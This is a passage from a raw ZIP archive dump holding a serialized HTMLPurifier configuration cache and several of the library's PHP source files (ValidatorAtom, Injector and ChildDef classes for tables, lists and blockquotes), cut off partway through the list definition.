;s:7:"#6A5ACD";s:9:"slategray";s:7:"#708090";s:9:"slategrey";s:7:"#708090";s:4:"snow";s:7:"#FFFAFA";s:11:"springgreen";s:7:"#00FF7F";s:9:"steelblue";s:7:"#4682B4";s:3:"tan";s:7:"#D2B48C";s:4:"teal";s:7:"#008080";s:7:"thistle";s:7:"#D8BFD8";s:6:"tomato";s:7:"#FF6347";s:9:"turquoise";s:7:"#40E0D0";s:6:"violet";s:7:"#EE82EE";s:5:"wheat";s:7:"#F5DEB3";s:5:"white";s:7:"#FFFFFF";s:10:"whitesmoke";s:7:"#F5F5F5";s:6:"yellow";s:7:"#FFFF00";s:11:"yellowgreen";s:7:"#9ACD32";}s:30:"Core.ConvertDocumentToFragment";b:1;s:36:"Core.DirectLexLineNumberSyncInterval";i:0;s:20:"Core.DisableExcludes";b:0;s:15:"Core.EnableIDNA";b:0;s:13:"Core.Encoding";s:5:"utf-8";s:26:"Core.EscapeInvalidChildren";b:0;s:22:"Core.EscapeInvalidTags";b:0;s:29:"Core.EscapeNonASCIICharacters";b:0;s:19:"Core.HiddenElements";a:2:{s:6:"script";b:1;s:5:"style";b:1;}s:13:"Core.Language";s:2:"en";s:24:"Core.LegacyEntityDecoder";b:0;s:14:"Core.LexerImpl";N;s:24:"Core.MaintainLineNumbers";N;s:22:"Core.NormalizeNewlines";b:1;s:21:"Core.RemoveInvalidImg";b:1;s:33:"Core.RemoveProcessingInstructions";b:0;s:25:"Core.RemoveScriptContents";N;s:13:"Filter.Custom";a:0:{}s:34:"Filter.ExtractStyleBlocks.Escaping";b:1;s:31:"Filter.ExtractStyleBlocks.Scope";N;s:34:"Filter.ExtractStyleBlocks.TidyImpl";N;s:25:"Filter.ExtractStyleBlocks";b:0;s:14:"Filter.YouTube";b:0;s:12:"HTML.Allowed";N;s:22:"HTML.AllowedAttributes";N;s:20:"HTML.AllowedComments";a:0:{}s:26:"HTML.AllowedCommentsRegexp";N;s:20:"HTML.AllowedElements";N;s:19:"HTML.AllowedModules";N;s:23:"HTML.Attr.Name.UseCDATA";b:0;s:17:"HTML.BlockWrapper";s:1:"p";s:16:"HTML.CoreModules";a:7:{s:9:"Structure";b:1;s:4:"Text";b:1;s:9:"Hypertext";b:1;s:4:"List";b:1;s:22:"NonXMLCommonAttributes";b:1;s:19:"XMLCommonAttributes";b:1;s:16:"CommonAttributes";b:1;}s:18:"HTML.CustomDoctype";N;s:17:"HTML.DefinitionID";N;s:18:"HTML.DefinitionRev";i:1;s:12:"HTML.Doctype";N;s:25:"HTML.FlashAllowFullScreen";b:0;s:24:"HTML.ForbiddenAttributes";a:0:{}s:22:"HTML.ForbiddenElements";a:0:{}s:17:"HTML.MaxImgLength";i:1200;s:13:"HTML.Nofollow";b:0;s:11:"HTML.Parent";s:3:"div";s:16:"HTML.Proprietary";b:0;s:14:"HTML.SafeEmbed";b:0;s:15:"HTML.SafeIframe";b:0;s:15:"HTML.SafeObject";b:0;s:18:"HTML.SafeScripting";a:0:{}s:11:"HTML.Strict";b:0;s:16:"HTML.TargetBlank";b:0;s:19:"HTML.TargetNoopener";b:1;s:21:"HTML.TargetNoreferrer";b:1;s:12:"HTML.TidyAdd";a:0:{}s:14:"HTML.TidyLevel";s:6:"medium";s:15:"HTML.TidyRemove";a:0:{}s:12:"HTML.Trusted";b:0;s:10:"HTML.XHTML";b:1;s:28:"Output.CommentScriptContents";b:1;s:19:"Output.FixInnerHTML";b:1;s:18:"Output.FlashCompat";b:0;s:14:"Output.Newline";N;s:15:"Output.SortAttr";b:0;s:17:"Output.TidyFormat";b:0;s:17:"Test.ForceNoIconv";b:0;s:18:"URI.AllowedSchemes";a:7:{s:4:"http";b:1;s:5:"https";b:1;s:6:"mailto";b:1;s:3:"ftp";b:1;s:4:"nntp";b:1;s:4:"news";b:1;s:3:"tel";b:1;}s:8:"URI.Base";N;s:17:"URI.DefaultScheme";s:4:"http";s:16:"URI.DefinitionID";N;s:17:"URI.DefinitionRev";i:1;s:11:"URI.Disable";b:0;s:19:"URI.DisableExternal";b:0;s:28:"URI.DisableExternalResources";b:0;s:20:"URI.DisableResources";b:0;s:8:"URI.Host";N;s:17:"URI.HostBlacklist";a:0:{}s:16:"URI.MakeAbsolute";b:0;s:9:"URI.Munge";N;s:18:"URI.MungeResources";b:0;s:18:"URI.MungeSecretKey";N;s:26:"URI.OverrideAllowedSchemes";b:1;s:20:"URI.SafeIframeRegexp";N;}s:9:" * parent";N;s:8:" * cache";N;}s:4:"info";a:139:{s:19:"Attr.AllowedClasses";i:-8;s:24:"Attr.AllowedFrameTargets";i:8;s:15:"Attr.AllowedRel";i:8;s:15:"Attr.AllowedRev";i:8;s:18:"Attr.ClassUseCDATA";i:-7;s:20:"Attr.DefaultImageAlt";i:-1;s:24:"Attr.DefaultInvalidImage";i:1;s:27:"Attr.DefaultInvalidImageAlt";i:1;s:19:"Attr.DefaultTextDir";O:8:"stdClass":2:{s:4:"type";i:1;s:7:"allowed";a:2:{s:3:"ltr";b:1;s:3:"rtl";b:1;}}s:13:"Attr.EnableID";i:7;s:17:"HTML.EnableAttrID";O:8:"stdClass":2:{s:3:"key";s:13:"Attr.EnableID";s:7:"isAlias";b:1;}s:21:"Attr.ForbiddenClasses";i:8;s:13:"Attr.ID.HTML5";i:-7;s:16:"Attr.IDBlacklist";i:9;s:22:"Attr.IDBlacklistRegexp";i:-1;s:13:"Attr.IDPrefix";i:1;s:18:"Attr.IDPrefixLocal";i:1;s:24:"AutoFormat.AutoParagraph";i:7;s:17:"AutoFormat.Custom";i:9;s:25:"AutoFormat.DisplayLinkURI";i:7;s:18:"AutoFormat.Linkify";i:7;s:33:"AutoFormat.PurifierLinkify.DocURL";i:1;s:37:"AutoFormatParam.PurifierLinkifyDocURL";O:8:"stdClass":2:{s:3:"key";s:33:"AutoFormat.PurifierLinkify.DocURL";s:7:"isAlias";b:1;}s:26:"AutoFormat.PurifierLinkify";i:7;s:32:"AutoFormat.RemoveEmpty.Predicate";i:10;s:44:"AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions";i:8;s:33:"AutoFormat.RemoveEmpty.RemoveNbsp";i:7;s:22:"AutoFormat.RemoveEmpty";i:7;s:39:"AutoFormat.RemoveSpansWithoutAttributes";i:7;s:19:"CSS.AllowDuplicates";i:7;s:18:"CSS.AllowImportant";i:7;s:15:"CSS.AllowTricky";i:7;s:16:"CSS.AllowedFonts";i:-8;s:21:"CSS.AllowedProperties";i:-8;s:17:"CSS.DefinitionRev";i:5;s:23:"CSS.ForbiddenProperties";i:8;s:16:"CSS.MaxImgLength";i:-1;s:15:"CSS.Proprietary";i:7;s:11:"CSS.Trusted";i:7;s:20:"Cache.DefinitionImpl";i:-1;s:20:"Core.DefinitionCache";O:8:"stdClass":2:{s:3:"key";s:20:"Cache.DefinitionImpl";s:7:"isAlias";b:1;}s:20:"Cache.SerializerPath";i:-1;s:27:"Cache.SerializerPermissions";i:-5;s:22:"Core.AggressivelyFixLt";i:7;s:29:"Core.AggressivelyRemoveScript";i:7;s:28:"Core.AllowHostnameUnderscore";i:7;s:23:"Core.AllowParseManyTags";i:7;s:18:"Core.CollectErrors";i:7;s:18:"Core.ColorKeywords";i:10;s:30:"Core.ConvertDocumentToFragment";i:7;s:24:"Core.AcceptFullDocuments";O:8:"stdClass":2:{s:3:"key";s:30:"Core.ConvertDocumentToFragment";s:7:"isAlias";b:1;}s:36:"Core.DirectLexLineNumberSyncInterval";i:5;s:20:"Core.DisableExcludes";i:7;s:15:"Core.EnableIDNA";i:7;s:13:"Core.Encoding";i:2;s:26:"Core.EscapeInvalidChildren";i:7;s:22:"Core.EscapeInvalidTags";i:7;s:29:"Core.EscapeNonASCIICharacters";i:7;s:19:"Core.HiddenElements";i:8;s:13:"Core.Language";i:1;s:24:"Core.LegacyEntityDecoder";i:7;s:14:"Core.LexerImpl";i:-11;s:24:"Core.MaintainLineNumbers";i:-7;s:22:"Core.NormalizeNewlines";i:7;s:21:"Core.RemoveInvalidImg";i:7;s:33:"Core.RemoveProcessingInstructions";i:7;s:25:"Core.RemoveScriptContents";i:-7;s:13:"Filter.Custom";i:9;s:34:"Filter.ExtractStyleBlocks.Escaping";i:7;s:33:"Filter.ExtractStyleBlocksEscaping";O:8:"stdClass":2:{s:3:"key";s:34:"Filter.ExtractStyleBlocks.Escaping";s:7:"isAlias";b:1;}s:38:"FilterParam.ExtractStyleBlocksEscaping";O:8:"stdClass":2:{s:3:"key";s:34:"Filter.ExtractStyleBlocks.Escaping";s:7:"isAlias";b:1;}s:31:"Filter.ExtractStyleBlocks.Scope";i:-1;s:30:"Filter.ExtractStyleBlocksScope";O:8:"stdClass":2:{s:3:"key";s:31:"Filter.ExtractStyleBlocks.Scope";s:7:"isAlias";b:1;}s:35:"FilterParam.ExtractStyleBlocksScope";O:8:"stdClass":2:{s:3:"key";s:31:"Filter.ExtractStyleBlocks.Scope";s:7:"isAlias";b:1;}s:34:"Filter.ExtractStyleBlocks.TidyImpl";i:-11;s:38:"FilterParam.ExtractStyleBlocksTidyImpl";O:8:"stdClass":2:{s:3:"key";s:34:"Filter.ExtractStyleBlocks.TidyImpl";s:7:"isAlias";b:1;}s:25:"Filter.ExtractStyleBlocks";i:7;s:14:"Filter.YouTube";i:7;s:12:"HTML.Allowed";i:-4;s:22:"HTML.AllowedAttributes";i:-8;s:20:"HTML.AllowedComments";i:8;s:26:"HTML.AllowedCommentsRegexp";i:-1;s:20:"HTML.AllowedElements";i:-8;s:19:"HTML.AllowedModules";i:-8;s:23:"HTML.Attr.Name.UseCDATA";i:7;s:17:"HTML.BlockWrapper";i:1;s:16:"HTML.CoreModules";i:8;s:18:"HTML.CustomDoctype";i:-1;s:17:"HTML.DefinitionID";i:-1;s:18:"HTML.DefinitionRev";i:5;s:12:"HTML.Doctype";O:8:"stdClass":3:{s:4:"type";i:1;s:10:"allow_null";b:1;s:7:"allowed";a:5:{s:22:"HTML 4.01 Transitional";b:1;s:16:"HTML 4.01 Strict";b:1;s:22:"XHTML 1.0 Transitional";b:1;s:16:"XHTML 1.0 Strict";b:1;s:9:"XHTML 1.1";b:1;}}s:25:"HTML.FlashAllowFullScreen";i:7;s:24:"HTML.ForbiddenAttributes";i:8;s:22:"HTML.ForbiddenElements";i:8;s:17:"HTML.MaxImgLength";i:-5;s:13:"HTML.Nofollow";i:7;s:11:"HTML.Parent";i:1;s:16:"HTML.Proprietary";i:7;s:14:"HTML.SafeEmbed";i:7;s:15:"HTML.SafeIframe";i:7;s:15:"HTML.SafeObject";i:7;s:18:"HTML.SafeScripting";i:8;s:11:"HTML.Strict";i:7;s:16:"HTML.TargetBlank";i:7;s:19:"HTML.TargetNoopener";i:7;s:21:"HTML.TargetNoreferrer";i:7;s:12:"HTML.TidyAdd";i:8;s:14:"HTML.TidyLevel";O:8:"stdClass":2:{s:4:"type";i:1;s:7:"allowed";a:4:{s:4:"none";b:1;s:5:"light";b:1;s:6:"medium";b:1;s:5:"heavy";b:1;}}s:15:"HTML.TidyRemove";i:8;s:12:"HTML.Trusted";i:7;s:10:"HTML.XHTML";i:7;s:10:"Core.XHTML";O:8:"stdClass":2:{s:3:"key";s:10:"HTML.XHTML";s:7:"isAlias";b:1;}s:28:"Output.CommentScriptContents";i:7;s:26:"Core.CommentScriptContents";O:8:"stdClass":2:{s:3:"key";s:28:"Output.CommentScriptContents";s:7:"isAlias";b:1;}s:19:"Output.FixInnerHTML";i:7;s:18:"Output.FlashCompat";i:7;s:14:"Output.Newline";i:-1;s:15:"Output.SortAttr";i:7;s:17:"Output.TidyFormat";i:7;s:15:"Core.TidyFormat";O:8:"stdClass":2:{s:3:"key";s:17:"Output.TidyFormat";s:7:"isAlias";b:1;}s:17:"Test.ForceNoIconv";i:7;s:18:"URI.AllowedSchemes";i:8;s:8:"URI.Base";i:-1;s:17:"URI.DefaultScheme";i:-1;s:16:"URI.DefinitionID";i:-1;s:17:"URI.DefinitionRev";i:5;s:11:"URI.Disable";i:7;s:15:"Attr.DisableURI";O:8:"stdClass":2:{s:3:"key";s:11:"URI.Disable";s:7:"isAlias";b:1;}s:19:"URI.DisableExternal";i:7;s:28:"URI.DisableExternalResources";i:7;s:20:"URI.DisableResources";i:7;s:8:"URI.Host";i:-1;s:17:"URI.HostBlacklist";i:9;s:16:"URI.MakeAbsolute";i:7;s:9:"URI.Munge";i:-1;s:18:"URI.MungeResources";i:7;s:18:"URI.MungeSecretKey";i:-1;s:26:"URI.OverrideAllowedSchemes";i:7;s:20:"URI.SafeIframeRegexp";i:-1;}}PK j�$Z9��$ $ @ htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.phpnu �[��� <?php
/**
* Fluent interface for validating the contents of member variables.
* This should be immutable. See HTMLPurifier_ConfigSchema_Validator for
* use-cases. We name this an 'atom' because it's ONLY for validations that
* are independent and usually scalar.
*/
class HTMLPurifier_ConfigSchema_ValidatorAtom
{
/**
* @type string
*/
protected $context;
/**
* @type object
*/
protected $obj;
/**
* @type string
*/
protected $member;
/**
* @type mixed
*/
protected $contents;
public function __construct($context, $obj, $member)
{
$this->context = $context;
$this->obj = $obj;
$this->member = $member;
$this->contents =& $obj->$member;
}
/**
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
public function assertIsString()
{
if (!is_string($this->contents)) {
$this->error('must be a string');
}
return $this;
}
/**
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
public function assertIsBool()
{
if (!is_bool($this->contents)) {
$this->error('must be a boolean');
}
return $this;
}
/**
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
public function assertIsArray()
{
if (!is_array($this->contents)) {
$this->error('must be an array');
}
return $this;
}
/**
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
public function assertNotNull()
{
if ($this->contents === null) {
$this->error('must not be null');
}
return $this;
}
/**
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
public function assertAlnum()
{
$this->assertIsString();
if (!ctype_alnum($this->contents)) {
$this->error('must be alphanumeric');
}
return $this;
}
/**
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
public function assertNotEmpty()
{
if (empty($this->contents)) {
$this->error('must not be empty');
}
return $this;
}
/**
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
public function assertIsLookup()
{
$this->assertIsArray();
foreach ($this->contents as $v) {
if ($v !== true) {
$this->error('must be a lookup array');
}
}
return $this;
}
/**
* @param string $msg
* @throws HTMLPurifier_ConfigSchema_Exception
*/
protected function error($msg)
{
throw new HTMLPurifier_ConfigSchema_Exception(ucfirst($this->member) . ' in ' . $this->context . ' ' . $msg);
}
}
// vim: et sw=4 sts=4
PK j�$Z��� .# .# . htmlpurifier/library/HTMLPurifier/Injector.phpnu �[��� <?php
/**
* Injects tokens into the document while parsing for well-formedness.
* This enables "formatter-like" functionality such as auto-paragraphing,
* smiley-ification and linkification to take place.
*
* A note on how handlers create changes; this is done by assigning a new
* value to the $token reference. These values can take a variety of forms and
* are best described HTMLPurifier_Strategy_MakeWellFormed->processToken()
* documentation.
*
* @todo Allow injectors to request a re-run on their output. This
* would help if an operation is recursive.
*/
abstract class HTMLPurifier_Injector
{
/**
* Advisory name of injector, this is for friendly error messages.
* @type string
*/
public $name;
/**
* @type HTMLPurifier_HTMLDefinition
*/
protected $htmlDefinition;
/**
* Reference to CurrentNesting variable in Context. This is an array
* list of tokens that we are currently "inside"
* @type array
*/
protected $currentNesting;
/**
* Reference to current token.
* @type HTMLPurifier_Token
*/
protected $currentToken;
/**
* Reference to InputZipper variable in Context.
* @type HTMLPurifier_Zipper
*/
protected $inputZipper;
/**
* Array of elements and attributes this injector creates and therefore
* need to be allowed by the definition. Takes form of
* array('element' => array('attr', 'attr2'), 'element2')
* @type array
*/
public $needed = array();
/**
* Number of elements to rewind backwards (relative).
* @type bool|int
*/
protected $rewindOffset = false;
/**
* Rewind to a spot to re-perform processing. This is useful if you
* deleted a node, and now need to see if this change affected any
* earlier nodes. Rewinding does not affect other injectors, and can
* result in infinite loops if not used carefully.
* @param bool|int $offset
* @warning HTML Purifier will prevent you from fast-forwarding with this
* function.
*/
public function rewindOffset($offset)
{
$this->rewindOffset = $offset;
}
/**
* Retrieves rewind offset, and then unsets it.
* @return bool|int
*/
public function getRewindOffset()
{
$r = $this->rewindOffset;
$this->rewindOffset = false;
return $r;
}
/**
* Prepares the injector by giving it the config and context objects:
* this allows references to important variables to be made within
* the injector. This function also checks if the HTML environment
* will work with the Injector (see checkNeeded()).
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string Boolean false if success, string of missing needed element/attribute if failure
*/
public function prepare($config, $context)
{
$this->htmlDefinition = $config->getHTMLDefinition();
// Even though this might fail, some unit tests ignore this and
// still test checkNeeded, so be careful. Maybe get rid of that
// dependency.
$result = $this->checkNeeded($config);
if ($result !== false) {
return $result;
}
$this->currentNesting =& $context->get('CurrentNesting');
$this->currentToken =& $context->get('CurrentToken');
$this->inputZipper =& $context->get('InputZipper');
return false;
}
/**
* This function checks if the HTML environment
* will work with the Injector: if p tags are not allowed, the
* Auto-Paragraphing injector should not be enabled.
* @param HTMLPurifier_Config $config
* @return bool|string Boolean false if success, string of missing needed element/attribute if failure
*/
public function checkNeeded($config)
{
$def = $config->getHTMLDefinition();
foreach ($this->needed as $element => $attributes) {
if (is_int($element)) {
$element = $attributes;
}
if (!isset($def->info[$element])) {
return $element;
}
if (!is_array($attributes)) {
continue;
}
foreach ($attributes as $name) {
if (!isset($def->info[$element]->attr[$name])) {
return "$element.$name";
}
}
}
return false;
}
/**
* Tests if the context node allows a certain element
* @param string $name Name of element to test for
* @return bool True if element is allowed, false if it is not
*/
public function allowsElement($name)
{
if (!empty($this->currentNesting)) {
$parent_token = array_pop($this->currentNesting);
$this->currentNesting[] = $parent_token;
$parent = $this->htmlDefinition->info[$parent_token->name];
} else {
$parent = $this->htmlDefinition->info_parent_def;
}
if (!isset($parent->child->elements[$name]) || isset($parent->excludes[$name])) {
return false;
}
// check for exclusion
if (!empty($this->currentNesting)) {
for ($i = count($this->currentNesting) - 2; $i >= 0; $i--) {
$node = $this->currentNesting[$i];
$def = $this->htmlDefinition->info[$node->name];
if (isset($def->excludes[$name])) {
return false;
}
}
}
return true;
}
/**
* Iterator function, which starts with the next token and continues until
* you reach the end of the input tokens.
* @warning Please prevent previous references from interfering with this
* functions by setting $i = null beforehand!
* @param int $i Current integer index variable for inputTokens
* @param HTMLPurifier_Token $current Current token variable.
* Do NOT use $token, as that variable is also a reference
* @return bool
*/
protected function forward(&$i, &$current)
{
if ($i === null) {
$i = count($this->inputZipper->back) - 1;
} else {
$i--;
}
if ($i < 0) {
return false;
}
$current = $this->inputZipper->back[$i];
return true;
}
/**
* Similar to _forward, but accepts a third parameter $nesting (which
* should be initialized at 0) and stops when we hit the end tag
* for the node $this->inputIndex starts in.
* @param int $i Current integer index variable for inputTokens
* @param HTMLPurifier_Token $current Current token variable.
* Do NOT use $token, as that variable is also a reference
* @param int $nesting
* @return bool
*/
protected function forwardUntilEndToken(&$i, &$current, &$nesting)
{
$result = $this->forward($i, $current);
if (!$result) {
return false;
}
if ($nesting === null) {
$nesting = 0;
}
if ($current instanceof HTMLPurifier_Token_Start) {
$nesting++;
} elseif ($current instanceof HTMLPurifier_Token_End) {
if ($nesting <= 0) {
return false;
}
$nesting--;
}
return true;
}
/**
* Iterator function, starts with the previous token and continues until
* you reach the beginning of input tokens.
* @warning Please prevent previous references from interfering with this
* functions by setting $i = null beforehand!
* @param int $i Current integer index variable for inputTokens
* @param HTMLPurifier_Token $current Current token variable.
* Do NOT use $token, as that variable is also a reference
* @return bool
*/
protected function backward(&$i, &$current)
{
if ($i === null) {
$i = count($this->inputZipper->front) - 1;
} else {
$i--;
}
if ($i < 0) {
return false;
}
$current = $this->inputZipper->front[$i];
return true;
}
/**
* Handler that is called when a text token is processed
*/
public function handleText(&$token)
{
}
/**
* Handler that is called when a start or empty token is processed
*/
public function handleElement(&$token)
{
}
/**
* Handler that is called when an end token is processed
*/
public function handleEnd(&$token)
{
$this->notifyEnd($token);
}
/**
* Notifier that is called when an end token is processed
* @param HTMLPurifier_Token $token Current token variable.
* @note This differs from handlers in that the token is read-only
* @deprecated
*/
public function notifyEnd($token)
{
}
}
// vim: et sw=4 sts=4
PK j�$ZQ�M�j j 8 htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.phpnu �[��� <?php
/**
* Definition that uses different definitions depending on context.
*
* The del and ins tags are notable because they allow different types of
* elements depending on whether or not they're in a block or inline context.
* Chameleon allows this behavior to happen by using two different
* definitions depending on context. While this somewhat generalized,
* it is specifically intended for those two tags.
*/
class HTMLPurifier_ChildDef_Chameleon extends HTMLPurifier_ChildDef
{
/**
* Instance of the definition object to use when inline. Usually stricter.
* @type HTMLPurifier_ChildDef_Optional
*/
public $inline;
/**
* Instance of the definition object to use when block.
* @type HTMLPurifier_ChildDef_Optional
*/
public $block;
/**
* @type string
*/
public $type = 'chameleon';
/**
* @param array $inline List of elements to allow when inline.
* @param array $block List of elements to allow when block.
*/
public function __construct($inline, $block)
{
$this->inline = new HTMLPurifier_ChildDef_Optional($inline);
$this->block = new HTMLPurifier_ChildDef_Optional($block);
$this->elements = $this->block->elements;
}
/**
* @param HTMLPurifier_Node[] $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function validateChildren($children, $config, $context)
{
if ($context->get('IsInline') === false) {
return $this->block->validateChildren(
$children,
$config,
$context
);
} else {
return $this->inline->validateChildren(
$children,
$config,
$context
);
}
}
}
// vim: et sw=4 sts=4
PK j�$Z�?�db b ? htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.phpnu �[��� <?php
/**
* Takes the contents of blockquote when in strict and reformats for validation.
*/
class HTMLPurifier_ChildDef_StrictBlockquote extends HTMLPurifier_ChildDef_Required
{
/**
* @type array
*/
protected $real_elements;
/**
* @type array
*/
protected $fake_elements;
/**
* @type bool
*/
public $allow_empty = true;
/**
* @type string
*/
public $type = 'strictblockquote';
/**
* @type bool
*/
protected $init = false;
/**
* @param HTMLPurifier_Config $config
* @return array
* @note We don't want MakeWellFormed to auto-close inline elements since
* they might be allowed.
*/
public function getAllowedElements($config)
{
$this->init($config);
return $this->fake_elements;
}
/**
* @param array $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function validateChildren($children, $config, $context)
{
$this->init($config);
// trick the parent class into thinking it allows more
$this->elements = $this->fake_elements;
$result = parent::validateChildren($children, $config, $context);
$this->elements = $this->real_elements;
if ($result === false) {
return array();
}
if ($result === true) {
$result = $children;
}
$def = $config->getHTMLDefinition();
$block_wrap_name = $def->info_block_wrapper;
$block_wrap = false;
$ret = array();
foreach ($result as $node) {
if ($block_wrap === false) {
if (($node instanceof HTMLPurifier_Node_Text && !$node->is_whitespace) ||
($node instanceof HTMLPurifier_Node_Element && !isset($this->elements[$node->name]))) {
$block_wrap = new HTMLPurifier_Node_Element($def->info_block_wrapper);
$ret[] = $block_wrap;
}
} else {
if ($node instanceof HTMLPurifier_Node_Element && isset($this->elements[$node->name])) {
$block_wrap = false;
}
}
if ($block_wrap) {
$block_wrap->children[] = $node;
} else {
$ret[] = $node;
}
}
return $ret;
}
/**
* @param HTMLPurifier_Config $config
*/
private function init($config)
{
if (!$this->init) {
$def = $config->getHTMLDefinition();
// allow all inline elements
$this->real_elements = $this->elements;
$this->fake_elements = $def->info_content_sets['Flow'];
$this->fake_elements['#PCDATA'] = true;
$this->init = true;
}
}
}
// vim: et sw=4 sts=4
PK j�$Z��#�� � 4 htmlpurifier/library/HTMLPurifier/ChildDef/Table.phpnu �[��� <?php
/**
* Definition for tables. The general idea is to extract out all of the
* essential bits, and then reconstruct it later.
*
* This is a bit confusing, because the DTDs and the W3C
* validators seem to disagree on the appropriate definition. The
* DTD claims:
*
* (CAPTION?, (COL*|COLGROUP*), THEAD?, TFOOT?, TBODY+)
*
* But actually, the HTML4 spec then has this to say:
*
* The TBODY start tag is always required except when the table
* contains only one table body and no table head or foot sections.
* The TBODY end tag may always be safely omitted.
*
* So the DTD is kind of wrong. The validator is, unfortunately, kind
* of on crack.
*
* The definition changed again in XHTML1.1; and in my opinion, this
* formulation makes the most sense.
*
* caption?, ( col* | colgroup* ), (( thead?, tfoot?, tbody+ ) | ( tr+ ))
*
* Essentially, we have two modes: thead/tfoot/tbody mode, and tr mode.
* If we encounter a thead, tfoot or tbody, we are placed in the former
* mode, and we *must* wrap any stray tr segments with a tbody. But if
* we don't run into any of them, just have tr tags is OK.
*/
class HTMLPurifier_ChildDef_Table extends HTMLPurifier_ChildDef
{
/**
* @type bool
*/
public $allow_empty = false;
/**
* @type string
*/
public $type = 'table';
/**
* @type array
*/
public $elements = array(
'tr' => true,
'tbody' => true,
'thead' => true,
'tfoot' => true,
'caption' => true,
'colgroup' => true,
'col' => true
);
public function __construct()
{
}
/**
* @param array $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function validateChildren($children, $config, $context)
{
if (empty($children)) {
return false;
}
// only one of these elements is allowed in a table
$caption = false;
$thead = false;
$tfoot = false;
// whitespace
$initial_ws = array();
$after_caption_ws = array();
$after_thead_ws = array();
$after_tfoot_ws = array();
// as many of these as you want
$cols = array();
$content = array();
$tbody_mode = false; // if true, then we need to wrap any stray
// <tr>s with a <tbody>.
$ws_accum =& $initial_ws;
foreach ($children as $node) {
if ($node instanceof HTMLPurifier_Node_Comment) {
$ws_accum[] = $node;
continue;
}
switch ($node->name) {
case 'tbody':
$tbody_mode = true;
// fall through
case 'tr':
$content[] = $node;
$ws_accum =& $content;
break;
case 'caption':
// there can only be one caption!
if ($caption !== false) break;
$caption = $node;
$ws_accum =& $after_caption_ws;
break;
case 'thead':
$tbody_mode = true;
// XXX This breaks rendering properties with
// Firefox, which never floats a <thead> to
// the top. Ever. (Our scheme will float the
// first <thead> to the top.) So maybe
// <thead>s that are not first should be
// turned into <tbody>? Very tricky, indeed.
if ($thead === false) {
$thead = $node;
$ws_accum =& $after_thead_ws;
} else {
// Oops, there's a second one! What
// should we do? Current behavior is to
// transmutate the first and last entries into
// tbody tags, and then put into content.
// Maybe a better idea is to *attach
// it* to the existing thead or tfoot?
// We don't do this, because Firefox
// doesn't float an extra tfoot to the
// bottom like it does for the first one.
$node->name = 'tbody';
$content[] = $node;
$ws_accum =& $content;
}
break;
case 'tfoot':
// see above for some aveats
$tbody_mode = true;
if ($tfoot === false) {
$tfoot = $node;
$ws_accum =& $after_tfoot_ws;
} else {
$node->name = 'tbody';
$content[] = $node;
$ws_accum =& $content;
}
break;
case 'colgroup':
case 'col':
$cols[] = $node;
$ws_accum =& $cols;
break;
case '#PCDATA':
// How is whitespace handled? We treat is as sticky to
// the *end* of the previous element. So all of the
// nonsense we have worked on is to keep things
// together.
if (!empty($node->is_whitespace)) {
$ws_accum[] = $node;
}
break;
}
}
if (empty($content)) {
return false;
}
$ret = $initial_ws;
if ($caption !== false) {
$ret[] = $caption;
$ret = array_merge($ret, $after_caption_ws);
}
if ($cols !== false) {
$ret = array_merge($ret, $cols);
}
if ($thead !== false) {
$ret[] = $thead;
$ret = array_merge($ret, $after_thead_ws);
}
if ($tfoot !== false) {
$ret[] = $tfoot;
$ret = array_merge($ret, $after_tfoot_ws);
}
if ($tbody_mode) {
// we have to shuffle tr into tbody
$current_tr_tbody = null;
foreach($content as $node) {
switch ($node->name) {
case 'tbody':
$current_tr_tbody = null;
$ret[] = $node;
break;
case 'tr':
if ($current_tr_tbody === null) {
$current_tr_tbody = new HTMLPurifier_Node_Element('tbody');
$ret[] = $current_tr_tbody;
}
$current_tr_tbody->children[] = $node;
break;
case '#PCDATA':
//assert($node->is_whitespace);
if ($current_tr_tbody === null) {
$ret[] = $node;
} else {
$current_tr_tbody->children[] = $node;
}
break;
}
}
} else {
$ret = array_merge($ret, $content);
}
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z+kĮb b 4 htmlpurifier/library/HTMLPurifier/ChildDef/Empty.phpnu �[��� <?php
/**
* Definition that disallows all elements.
* @warning validateChildren() in this class is actually never called, because
* empty elements are corrected in HTMLPurifier_Strategy_MakeWellFormed
* before child definitions are parsed in earnest by
* HTMLPurifier_Strategy_FixNesting.
*/
class HTMLPurifier_ChildDef_Empty extends HTMLPurifier_ChildDef
{
/**
* @type bool
*/
public $allow_empty = true;
/**
* @type string
*/
public $type = 'empty';
public function __construct()
{
}
/**
* @param HTMLPurifier_Node[] $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function validateChildren($children, $config, $context)
{
return array();
}
}
// vim: et sw=4 sts=4
PK j�$Z���Z� � 3 htmlpurifier/library/HTMLPurifier/ChildDef/List.phpnu �[��� <?php
/**
* Definition for list containers ul and ol.
*
* What does this do? The big thing is to handle ol/ul at the top
* level of list nodes, which should be handled specially by /folding/
* them into the previous list node. We generally shouldn't ever
* see other disallowed elements, because the autoclose behavior
* in MakeWellFormed handles it.
*/
class HTMLPurifier_ChildDef_List extends HTMLPurifier_ChildDef
{
/**
* @type string
*/
public $type = 'list';
/**
* @type array
*/
// lying a little bit, so that we can handle ul and ol ourselves
// XXX: This whole business with 'wrap' is all a bit unsatisfactory
public $elements = array('li' => true, 'ul' => true, 'ol' => true);
/**
* @param array $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function validateChildren($children, $config, $context)
{
// Flag for subclasses
$this->whitespace = false;
// if there are no tokens, delete parent node
if (empty($children)) {
return false;
}
// if li is not allowed, delete parent node
if (!isset($config->getHTMLDefinition()->info['li'])) {
